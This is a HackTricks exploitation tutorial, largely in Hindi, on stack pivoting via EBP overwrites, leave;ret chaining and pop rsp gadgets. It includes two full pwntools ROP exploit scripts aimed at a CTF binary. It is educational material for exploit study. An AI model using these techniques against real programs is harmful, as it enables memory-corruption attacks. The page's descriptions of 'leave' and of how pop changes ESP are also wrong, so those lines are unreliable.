Stack Pivoting - EBP2Ret - EBP chaining

Support HackTricks

Basic Information

यह तकनीक Base Pointer (EBP) को नियंत्रित करने की क्षमता का लाभ उठाती है ताकि EBP रजिस्टर और leave; ret निर्देश अनुक्रम का सावधानीपूर्वक उपयोग करके कई कार्यों के निष्पादन को श्रृंखलाबद्ध किया जा सके।

याद दिलाने के लिए, leave का मूल अर्थ है:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

यह तकनीक विशेष रूप से उपयोगी है जब आप EBP रजिस्टर को बदल सकते हैं लेकिन EIP रजिस्टर को सीधे बदलने का कोई तरीका नहीं है। यह कार्यों के निष्पादन के बाद के व्यवहार का लाभ उठाता है।

यदि, fvuln के निष्पादन के दौरान, आप स्टैक में एक नकली EBP इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहाँ आपका शेलकोड का पता स्थित है (प्लस 4 बाइट्स pop ऑपरेशन के लिए), तो आप अप्रत्यक्ष रूप से EIP को नियंत्रित कर सकते हैं। जैसे ही fvuln लौटता है, ESP को इस तैयार स्थान पर सेट किया जाता है, और अगला pop ऑपरेशन ESP को 4 से घटाता है, जिससे यह प्रभावी रूप से एक पते की ओर इशारा करता है जिसे हमलावर ने वहाँ स्टोर किया है। ध्यान दें कि आपको 2 पते जानने की आवश्यकता है: वह जहाँ ESP जाने वाला है, जहाँ आपको उस पते को लिखने की आवश्यकता होगी जिस पर ESP इशारा करता है।

Exploit Construction

पहले आपको एक पता जानने की आवश्यकता है जहाँ आप मनचाहा डेटा / पते लिख सकते हैं। ESP यहाँ इशारा करेगा और पहला ret चलाएगा

फिर, आपको उस पते को जानने की आवश्यकता है जिसका उपयोग ret द्वारा मनचाहा कोड निष्पादित करने के लिए किया जाएगा। आप उपयोग कर सकते हैं:

  • एक मान्य ONE_GADGET पता।

  • system() का पता उसके बाद 4 जंक बाइट्स और "/bin/sh" का पता (x86 बिट्स)।

  • एक jump esp; गैजेट (ret2esp) का पता उसके बाद निष्पादित करने के लिए शेलकोड

  • कुछ ROP श्रृंखला।

याद रखें कि नियंत्रित मेमोरी के किसी भी इन पते से पहले, 4 बाइट्स होनी चाहिए क्योंकि pop भाग leave निर्देश का है। इन 4B का दुरुपयोग करके एक दूसरा नकली EBP सेट करना और निष्पादन को नियंत्रित करना संभव होगा।

Off-By-One Exploit

इस तकनीक का एक विशिष्ट रूप "Off-By-One Exploit" के रूप में जाना जाता है। इसका उपयोग तब किया जाता है जब आप केवल EBP के सबसे कम महत्वपूर्ण बाइट को संशोधित कर सकते हैं। ऐसे मामले में, मेमोरी स्थान जो ret के साथ कूदने के लिए पता संग्रहीत करता है, EBP के साथ पहले तीन बाइट्स साझा करने चाहिए, जिससे अधिक सीमित परिस्थितियों के साथ समान हेरफेर की अनुमति मिलती है। आमतौर पर इसे 0x00 बाइट को संशोधित किया जाता है ताकि जितना संभव हो उतना दूर कूद सके।

इसके अलावा, स्टैक में एक RET स्लेड का उपयोग करना और असली ROP श्रृंखला को अंत में रखना सामान्य है ताकि यह अधिक संभावना हो कि नया ESP RET SLED के अंदर इशारा करे और अंतिम ROP श्रृंखला निष्पादित हो।

EBP Chaining

इसलिए, स्टैक के EBP प्रविष्टि में एक नियंत्रित पता डालना और EIP में leave; ret का पता डालना संभव है स्टैक से नियंत्रित EBP पते पर ESP को स्थानांतरित करने के लिए

अब, ESP नियंत्रित है जो एक इच्छित पते की ओर इशारा कर रहा है और निष्पादित करने के लिए अगला निर्देश RET है। इसका दुरुपयोग करने के लिए, नियंत्रित ESP स्थान में यह रखा जा सकता है:

  • &(next fake EBP) -> leave निर्देश से pop ebp के कारण नया EBP लोड करें

  • system() -> ret द्वारा कॉल किया गया

  • &(leave;ret) -> सिस्टम समाप्त होने के बाद कॉल किया जाएगा, यह ESP को नकली EBP पर ले जाएगा और फिर से शुरू करेगा

  • &("/bin/sh")-> system के लिए पैरामीटर

बुनियादी रूप से इस तरीके से कई नकली EBPs को जोड़ना संभव है ताकि कार्यक्रम के प्रवाह को नियंत्रित किया जा सके।

यह ret2lib की तरह है, लेकिन अधिक जटिल है जिसमें कोई स्पष्ट लाभ नहीं है लेकिन कुछ किनारे के मामलों में दिलचस्प हो सकता है।

इसके अलावा, यहाँ एक चुनौती का उदाहरण है जो इस तकनीक का उपयोग करता है एक स्टैक लीक के साथ एक विजेता फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP का उपयोग नहीं किया जा सकता

जैसा कि इस पोस्ट में समझाया गया है, यदि एक बाइनरी कुछ ऑप्टिमाइजेशन के साथ संकलित की गई है, तो EBP कभी भी ESP को नियंत्रित नहीं करता, इसलिए, EBP को नियंत्रित करके काम करने वाला कोई भी एक्सप्लॉइट मूल रूप से विफल हो जाएगा क्योंकि इसका कोई वास्तविक प्रभाव नहीं है। यह इसलिए है क्योंकि प्रोलॉग और एपिलॉग में बदलाव होता है यदि बाइनरी ऑप्टिमाइज्ड है।

  • ऑप्टिमाइज्ड नहीं:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • अनुकूलित:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

अन्य तरीके RSP को नियंत्रित करने के लिए

pop rsp गैजेट

इस पृष्ठ पर आप इस तकनीक का एक उदाहरण पा सकते हैं। इस चुनौती के लिए 2 विशिष्ट तर्कों के साथ एक फ़ंक्शन को कॉल करना आवश्यक था, और वहाँ एक pop rsp गैजेट था और वहाँ स्टैक से लीक है:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

यहाँ ret2esp तकनीक की जाँच करें:

Ret2esp / Ret2reg

संदर्भ और अन्य उदाहरण

ARM64

ARM64 में, कार्यों के प्रोलॉग और एपिलॉग स्टैक में SP रजिस्टर को स्टोर और पुनः प्राप्त नहीं करते हैं। इसके अलावा, RET निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता, बल्कि x30 के अंदर के पते पर लौटता है।

इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप SP रजिस्टर को नियंत्रित करने में सक्षम नहीं होंगे, कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल हो जाते हैं, तो भी आपको x30 रजिस्टर को नियंत्रित करने का एक तरीका चाहिए।

  • प्रोलॉग

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP फ्रेम रिकॉर्ड की ओर इशारा करता है
  • एपिलॉग

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा SP को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान SP को पास किया जाता है या क्योंकि किसी कारण से SP अपना पता स्टैक से ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर एपिलॉग का दुरुपयोग करके x30 रजिस्टर को नियंत्रित SP से लोड करना और RET करना।

इसके अलावा, आप निम्नलिखित पृष्ठ पर ARM64 में Ret2esp का समकक्ष देख सकते हैं:

Ret2esp / Ret2reg
HackTricks का समर्थन करें

Last updated